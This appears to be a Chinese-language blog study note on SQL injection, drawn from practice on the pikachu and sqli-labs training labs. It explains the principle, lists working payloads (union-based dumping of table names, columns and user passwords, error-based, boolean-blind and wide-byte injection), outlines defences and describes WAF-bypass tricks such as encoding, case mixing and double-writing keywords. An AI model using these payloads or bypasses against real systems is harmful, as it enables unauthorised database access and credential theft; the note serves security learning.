1.sql注入原理
主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。
2.sql注入常用函数
来自于sql练习中使用过的函数
pikachu漏洞练习第四章节SQL注入-数字型注入(post)练习收获_post注入-优快云博客
pikachu漏洞练习第四章节SQL注入-字符型注入(get)练习收获_pikachu sql注入第四关-优快云博客
pikachu漏洞练习第四章节SQL注入-insert/update,delete注入练习收获-优快云博客
pikachu漏洞练习第四章节SQL注入-搜索型,xx型注入练习收获-优快云博客
pikachu漏洞练习第四章节SQL注入-http header注入练习收获-优快云博客
pikachu漏洞练习第四章节SQL注入-基于boolian的盲注,原理练习收获-优快云博客
pikachu漏洞练习第四章sql注入-宽字节注入练习收获-优快云博客
pikachu漏洞练习第四章节SQL注入-盲注based on time,原理练习收获-优快云博客
sqli-labs漏洞练习1-6关练习收获,sqli手工注入与sqlmap使用-优快云博客
select 字段1,字段2 from 表名 where username = 'name' or 1=1#';
select 字段1,字段2 from 表名 where username = 'name' or 1=1#';
select * from member where username like '%a%';
sql%' or 1=1 #
sql') or 1=1 #
' or updatexml(1,concat(0x7e,database()),0) or '
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
allen' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<113#
name=allen%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2#
name=allen%df' union select (select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)),2#
3.sql注入防御手段
1.前端验证
前端利用js函数对输入的代码进行验证过滤。
2.参数化查询
参数化查询通过将SQL语句和用户输入分开,避免将用户输入直接拼接到SQL查询中。
3.数据库权限管理
不给外来用户权限修改sql代码。
4.使用Web应用防火墙(WAF)
使用防火墙检测侵入。
4.sql注入绕WAF(web应用程序防火墙)常用方法
1.编码伪装
编码绕过的原理是,攻击者在注入时采用了一些特殊的字符编码方式,从而绕过WAF的检测过程。比如使用unicode编码将特殊字符转换为双字节字符,绕过输入过滤和检查,从而执行恶意的SQL查询。
2.转义字符伪装
在单引号前面加上了反斜杠\或者使用' '单引号空格单引号 ,形成了转义字符,从而绕过一些过滤手段。
3.大小写伪装
利用大写小写绕过检测手段。
4.双写伪装
双写字符比如把union写成ununionion来绕过检测手段。
5.注释伪装
使用注释符号如#,<--,/* */来把sql语句注释掉形成闭合语句绕过检测。